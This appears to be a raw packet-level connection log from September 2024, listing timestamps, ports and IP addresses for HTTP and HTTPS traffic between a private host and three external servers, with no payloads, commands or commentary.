Sep 6, 2024 08:17:07.795717955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795722961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795730114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795736074 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795746088 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795752048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795758009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795758963 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.795758963 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.795764923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795778036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795787096 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.795789003 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.795809031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795815945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795819998 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.795890093 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.795909882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795916080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795922041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795993090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795999050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796005011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796010971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796020031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796040058 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.796049118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796052933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796063900 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796068907 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796072960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796089888 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.796147108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796152115 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796153069 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.796163082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796168089 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796221972 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.796257019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796262980 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796268940 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796273947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796278000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.796288013 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.796323061 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.796397924 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.801734924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801742077 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801748037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801753998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801764011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801769972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801783085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801789045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801800013 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801805019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801815033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801820993 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.801831961 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.801862955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801870108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801879883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801883936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801888943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.801908016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.801923990 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802002907 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802009106 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802015066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802020073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802027941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802032948 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802042961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802043915 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802050114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802057028 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802089930 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802089930 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802200079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802206039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802216053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802227974 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802234888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802246094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802252054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802257061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802258015 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802258968 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802288055 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802314997 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802314997 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802334070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802339077 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802349091 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802355051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802423000 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802423000 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802499056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802505970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802515984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802521944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802529097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802537918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802544117 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802553892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802557945 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802561045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802566051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802571058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802571058 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802576065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802594900 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802606106 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802606106 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.802634954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802643061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.802674055 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.803191900 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803198099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803212881 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803217888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803222895 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803229094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803235054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803236008 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.803236008 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.803258896 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.803406954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803446054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803451061 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.803456068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803507090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803514004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803519964 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803524971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803530931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803544998 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.803544998 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.803622961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803628922 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803638935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803642988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803653955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803656101 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.803661108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.803677082 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.803678036 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.804131985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.804164886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.804171085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.804176092 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.804179907 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.804195881 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.804214954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.804219961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.804229975 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.804256916 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.804256916 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.804279089 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.804279089 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.812412977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.812421083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.812427044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.812462091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.812468052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.812474966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.812483072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.812488079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.812519073 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.812531948 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.822644949 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.822660923 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.822844028 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.822860956 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.822968006 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.822990894 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.823025942 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.823031902 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.823051929 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.823076010 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.823242903 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.823256016 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.823312044 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.823318005 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.823477983 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.823581934 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.823596001 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.823643923 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.823648930 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.823811054 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.823966980 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.823981047 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.824033976 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.824038982 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.824208975 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.824295044 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.824309111 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.824351072 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.824356079 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.824371099 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.824392080 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.824558020 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.824573040 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.824626923 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.824631929 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.824788094 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.826256990 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.826272964 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.826323986 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.826328993 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.826347113 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.826354027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.826359987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.826400042 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.826415062 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.826421022 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.826426983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.826437950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.826443911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.826472998 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.826502085 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.855463982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.855470896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.855475903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.855499983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.855504990 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.855515957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.855525017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.855537891 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.855576038 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.856879950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.856893063 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.856898069 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.856931925 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.856966019 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.856998920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857004881 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857017040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857022047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857031107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857083082 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857083082 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857112885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857117891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857129097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857135057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857144117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857150078 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857155085 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857171059 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857204914 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857223988 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857228041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857238054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857242107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857255936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857261896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857266903 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857283115 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857290030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857295990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857336998 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857336998 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857347965 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857352972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857384920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857389927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857394934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857399940 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857410908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857434988 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857459068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857465029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857470989 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857516050 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857520103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857523918 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857531071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857536077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857575893 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857584953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857590914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857604027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857614994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857621908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857634068 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857634068 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857667923 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857829094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857835054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857840061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857883930 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857919931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857924938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857935905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857940912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857947111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.857995987 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.857995987 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.858820915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.858825922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.858830929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.858836889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.858841896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.858848095 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.858854055 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.858865023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.858884096 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.858926058 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.858951092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.858958006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.858963013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859018087 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.859033108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859039068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859047890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859057903 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859093904 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.859107018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.859200954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859251022 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.859277010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859286070 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859296083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859302044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859307051 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859342098 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.859342098 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.859357119 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859363079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859406948 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.859529018 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859534979 CEST	80	49733	147.45.44.104	192.168.2.4
